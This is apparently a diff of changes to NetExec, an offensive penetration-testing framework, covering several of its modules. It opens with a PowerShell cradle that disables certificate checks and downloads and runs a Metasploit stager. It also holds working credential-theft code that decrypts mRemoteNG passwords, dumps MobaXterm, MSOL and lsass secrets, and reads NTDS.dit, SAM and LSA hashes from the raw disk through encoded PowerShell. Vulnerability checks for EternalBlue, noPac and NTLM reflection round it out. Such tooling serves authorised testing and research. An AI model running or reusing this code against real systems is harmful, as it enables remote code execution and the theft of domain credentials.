command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
+2 -4
View File
@@ -2,7 +2,6 @@ from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXt
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
@@ -10,10 +9,9 @@ class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
""" """
def on_admin_login(self, context, connection):
username = connection.username
@@ -34,7 +32,7 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
+10 -11
View File
@@ -5,7 +5,7 @@ from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@@ -26,7 +26,6 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.false_positive = (
@@ -43,7 +42,7 @@ class NXCModule:
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
@@ -58,7 +57,7 @@ class NXCModule:
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
@@ -120,7 +119,7 @@ class NXCModule:
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
@@ -131,7 +130,7 @@ class NXCModule:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -140,7 +139,7 @@ class NXCModule:
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
@@ -151,7 +150,7 @@ class NXCModule:
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
@@ -164,7 +163,7 @@ class NXCModule:
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
@@ -180,7 +179,7 @@ class NXCModule:
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
@@ -204,4 +203,4 @@ class NXCModule:
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
-2
View File
@@ -5,7 +5,6 @@
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
import socket
import struct
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
@@ -55,7 +54,6 @@ class NXCModule:
name = "ms17-010"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
-2
View File
@@ -3,7 +3,6 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
# Fully rewritten by @NeffIsBack
from base64 import b64encode
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
@@ -12,7 +11,6 @@ class NXCModule:
name = "msol"
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
+2 -4
View File
@@ -1,14 +1,12 @@
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Made by @lodos2005"""
"""Execute arbitrary SQL commands on the target MSSQL server"""
name = "mssql_coerce"
description = "Execute SQL commands To interact with a specified LISTENER for coercion/exfiltration"
description = "Execute arbitrary SQL commands on the target MSSQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
-2
View File
@@ -1,7 +1,6 @@
# Author:
# Romain de Reydellet (@pentest_soka)
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
class User:
@@ -24,7 +23,6 @@ class NXCModule:
name = "mssql_priv"
description = "Enumerate and exploit MSSQL privileges"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.admin_privs = None
-2
View File
@@ -9,7 +9,6 @@ from pypykatz.pypykatz import pypykatz
import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
@@ -17,7 +16,6 @@ class NXCModule:
name = "nanodump"
description = "Get lsass dump using nanodump and parse the result with pypykatz"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.connection = None
+1 -7
View File
@@ -6,23 +6,17 @@ from binascii import unhexlify
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "nopac"
description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
""" """
def on_login(self, context, connection):
if not connection.username:
context.log.fail("Module requires a username to request TGTs")
return
user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT(
+2 -4
View File
@@ -1,7 +1,6 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -12,7 +11,6 @@ class NXCModule:
name = "notepad++"
description = "Extracts notepad++ unsaved files."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
@@ -32,10 +30,10 @@ class NXCModule:
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
file_content = buf.read().decode("utf-8", errors="ignore").lower()
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
+1 -3
View File
@@ -3,7 +3,6 @@ from os import makedirs
from os.path import join, abspath
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
@@ -29,7 +28,6 @@ class NXCModule:
name = "notepad"
description = "Extracts content from Windows Notepad tab state binary files."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None):
self.context = context
@@ -193,4 +191,4 @@ class NXCModule:
else:
return es
else:
return str(exception)
return str(exception)
+128 -174
View File
@@ -10,19 +10,24 @@ from dataclasses import dataclass, field
import random
import gzip
from io import BytesIO
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets
from nxc.helpers.misc import CATEGORY, validate_ntlm
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
from nxc.helpers.misc import validate_ntlm
from nxc.helpers.powershell import get_ps_script
import sys
class NXCModule:
name = "ntds-dump-raw"
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
supported_protocols = ["smb", "wmi", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
# Module constants
files_full_location_to_extract = [
"Windows/System32/config/SYSTEM",
"Windows/System32/config/SAM",
"Windows/NTDS/ntds.dit",
]
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
number_of_file_to_extract = len(files_to_extract)
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
NTFS_LOCATION = 0
MFT_LOCATION = 0
context = None
@@ -78,36 +83,7 @@ class NXCModule:
full_path: str = ""
def options(self, context, module_options):
"""TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them
Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM
nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM
$IP can be a Domain Controller or a regular Windows machine.
"""
available_options = {
"NTDS": "Windows/NTDS/ntds.dit",
"LSA": "Windows/System32/config/SECURITY",
"SAM": "Windows/System32/config/SAM"
}
self.files_full_location_to_extract = []
if "TARGET" in module_options:
selected_options = module_options["TARGET"].split(",")
for option in selected_options:
if option in available_options:
self.files_full_location_to_extract.append(available_options[option])
else:
context.log.error(f"Uknown option format : {option}")
sys.exit(1)
else:
self.files_full_location_to_extract.append(available_options["NTDS"])
self.files_full_location_to_extract.append(available_options["SAM"])
# Add SYSTEM by default as needed for decryption
self.files_full_location_to_extract.append("Windows/System32/config/SYSTEM")
# Prepare the files to extract
self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract]
self.number_of_file_to_extract = len(self.files_to_extract)
self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "")
"""No options available"""
def read_from_disk(self, offset, size):
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
@@ -115,10 +91,8 @@ class NXCModule:
# scary base64 powershell code :)
# This to read the PhysicalDrive0 file
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
if self.connection.__class__.__name__ == "wmi":
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
data_output = self.connection.execute_psh(get_data_script, True)
elif self.connection.__class__.__name__ == "smb":
data_output = self.execute(get_data_script, True, ["smbexec"])
else:
data_output = self.execute(get_data_script, True)
self.logger.debug(f"{offset=},{size=},{fixed_size=}")
@@ -144,7 +118,7 @@ class NXCModule:
first_section = self.read_from_disk(0, 1024)
if len(first_section) == 0:
self.logger.fail("Unable to read the Disk, try changing the --exec-method flag")
if first_section[512: 512 + 8] == b"EFI PART":
if first_section[512 : 512 + 8] == b"EFI PART":
self.logger.display("Disk is formated using GPT")
NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0")
if NTFS_LOCATION == -1:
@@ -154,10 +128,10 @@ class NXCModule:
max_parition_size = 0
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE
for partition_indx in range(4):
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10): 0x1CE + (partition_indx * 0x10)])
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)])
if curr_partition_size > max_parition_size:
max_parition_size = curr_partition_size
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10): 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}")
self.NTFS_LOCATION = NTFS_LOCATION
@@ -174,147 +148,127 @@ class NXCModule:
self.read_MFT(MFT_file_header)
if self.number_of_file_to_extract != 0:
self.logger.fail("Unable to find all needed files, trying to work with what we have")
self.logger.fail("Unable to find all needed files")
return
if "SYSTEM" in self.extracted_files_location_local and self.extracted_files_location_local["SYSTEM"] != "":
self.logger.success("Heads up, hashes on the way...")
self.dump_hashes()
else:
self.logger.fail("SYSTEM file not found, unable to proceed with hash extraction")
self.logger.success("Heads up, hashes on the way...")
self.dump_ntds()
def dump_hashes(self):
def dump_ntds(self):
"""Dumping NTDS and SAM hashes locally from the extracted files"""
# Mostly from nxc/modules/ntdsutil.py
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
boot_key = local_operations.getBootKey()
no_lm_hash = local_operations.checkNoLMHashPolicy()
# NTDS hashes
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
def add_ntds_hash(ntds_hash, host_id):
"""Extract NTDS hashes"""
add_ntds_hash.ntds_hashes += 1
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, clean_hash = ntds_hash.split("\\")
else:
domain = self.domain
clean_hash = ntds_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
NTDS = NTDSHashes(
self.extracted_files_location_local["ntds.dit"],
boot_key,
isRemote=False,
history=False,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
)
try:
self.logger.success("NTDS hashes:")
NTDS.dump()
except Exception as e:
self.logger.fail(e)
NTDS.finish()
# SAM hashes
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
def add_SAM_hash(SAM_hash, host_id):
"""Extract SAM hashes"""
add_SAM_hash.SAM_hashes += 1
SAM_hash = SAM_hash.split(" ")[0]
self.logger.highlight(SAM_hash)
if SAM_hash.find("$") == -1:
if SAM_hash.find("\\") != -1:
domain, clean_hash = SAM_hash.split("\\")
else:
domain = self.domain
clean_hash = SAM_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_SAM_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
def add_SAM_hash(SAM_hash, host_id):
"""Extract SAM hashes"""
add_SAM_hash.SAM_hashes += 1
SAM_hash = SAM_hash.split(" ")[0]
self.logger.highlight(SAM_hash)
if SAM_hash.find("$") == -1:
if SAM_hash.find("\\") != -1:
domain, clean_hash = SAM_hash.split("\\")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
domain = self.domain
clean_hash = SAM_hash
add_SAM_hash.SAM_hashes = 0
add_SAM_hash.added_to_db = 0
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_SAM_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
SAM = SAMHashes(
self.extracted_files_location_local["SAM"],
boot_key,
isRemote=False,
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
)
try:
self.logger.success("SAM hashes:")
SAM.dump()
SAM.export(self.output_filename)
except Exception as e:
self.logger.debug(e)
SAM.finish()
add_SAM_hash.SAM_hashes = 0
add_SAM_hash.added_to_db = 0
# LSA
if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "":
LSA = LSASecrets(
self.extracted_files_location_local["SECURITY"],
boot_key,
remoteOps=None,
isRemote=False,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)
)
SAM = SAMHashes(
self.extracted_files_location_local["SAM"],
boot_key,
isRemote=False,
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
)
try:
self.logger.success("LSA Secrets:")
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
self.logger.fail(e)
# NTDS
def add_ntds_hash(ntds_hash, host_id):
"""Extract NTDS hashes"""
add_ntds_hash.ntds_hashes += 1
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, clean_hash = ntds_hash.split("\\")
else:
domain = self.domain
clean_hash = ntds_hash
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
# NTDS hashes
NTDS = NTDSHashes(
self.extracted_files_location_local["ntds.dit"],
boot_key,
isRemote=False,
history=False,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
)
try:
self.logger.success("NTDS hashes:")
NTDS.dump()
except Exception as e:
self.logger.fail(e)
try:
self.logger.success("SAM hashes:")
SAM.dump()
SAM.export(self.output_filename)
except Exception as e:
self.logger.debug(e)
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
SAM.finish()
NTDS.finish()
def analyze_NTFS(self, ntfs_header):
"""Decode the NTFS headers and extract needed infromation from it"""
ntfs_header = ntfs_header[0xB: 0xB + 25 + 48]
ntfs_header = ntfs_header[0xB : 0xB + 25 + 48]
header_format = "<HBH3BHBHHHIIIQQQIB3BQI"
data = struct.unpack(header_format, ntfs_header)
@@ -362,7 +316,7 @@ class NXCModule:
"""Analyze the current MFT records and extract the targeted files if they are present"""
MFT_record_indx = 0
for curr_record_indx in range(len(curr_data) // 1024):
curr_sector = curr_data[curr_record_indx * 1024: curr_record_indx * 1024 + 1024]
curr_sector = curr_data[curr_record_indx * 1024 : curr_record_indx * 1024 + 1024]
try:
curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector)
if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None:
@@ -477,9 +431,9 @@ class NXCModule:
dataRun_len_nBytes = (dataRun[curr_datarun_indx] & 0b11110000) >> 4
curr_datarun_indx += 1
dataRun_len = dataRun[curr_datarun_indx: curr_datarun_indx + dataRun_startingCluster_nBytes]
dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes]
dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False)
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes: curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc
@@ -497,12 +451,12 @@ class NXCModule:
parsed_header = {}
while True:
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index: curr_index + 4])
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4])
if curr_header == 0xFFFFFFFF or curr_header is None:
break
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4: curr_index + 4 + 4])
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index: curr_index + curr_header_len]
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4])
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len]
curr_index = curr_index + curr_header_len
return parsed_header
@@ -519,13 +473,13 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1])
dataRun = parsed_header["$DATA"][dataRun_offset:]
curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun)
@@ -564,7 +518,7 @@ class NXCModule:
for i in range(num_partition_entries):
entry_offset = i * partition_entry_size
partition_entry = partition_table_data[entry_offset: entry_offset + partition_entry_size]
partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size]
partition_entries.append(partition_entry)
return partition_entries
+1 -2
View File
@@ -6,7 +6,7 @@ import time
from impacket.examples.secretsdump import LocalOperations, NTDSHashes
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY, validate_ntlm
from nxc.helpers.misc import validate_ntlm
class NXCModule:
@@ -19,7 +19,6 @@ class NXCModule:
name = "ntdsutil"
description = "Dump NTDS with ntdsutil"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
-84
View File
@@ -1,84 +0,0 @@
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from impacket.nmb import NetBIOSError
class NXCModule:
# https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
# Reference table from MSRC report
# https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073
MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR
(6, 0, 6003): 23351, # Windows Server 2008 SP2
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25522, # Windows Server 2012
(6, 3, 9600): 22620, # Windows Server 2012 R2
(10, 0, 14393): 8148, # Windows Server 2016
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 3807, # Windows Server 2022
(10, 0, 19044): 5965, # Windows 10 21H2
(10, 0, 22621): 5472, # Windows 11 22H2
}
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""No options available"""
def is_vulnerable(self, major, minor, build, ubr):
key = (major, minor, build)
min_patched_ubr = self.MSRC_PATCHES.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
self.context = context
self.connection = connection
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None
dce.disconnect()
if not version_str:
self.context.log.info("Could not determine OS version from registry")
return
vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr)
if vuln:
if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled
context.log.highlight(f"VULNERABLE (can relay SMB to any protocol on {self.context.log.extra['host']})")
else:
context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})")
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
self.context.log.debug(f"Unexpected error: {e}")
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}")
-2
View File
@@ -1,7 +1,6 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,7 +13,6 @@ class NXCModule:
name = "ntlmv1"
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}"
-2
View File
@@ -1,7 +1,6 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
import socket
@@ -14,7 +13,6 @@ class NXCModule:
name = "obsolete"
description = "Extract all obsolete operating systems from LDAP"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def ldap_time_to_datetime(self, ldap_time):
"""Convert an LDAP timestamp to a datetime object."""
+1 -5
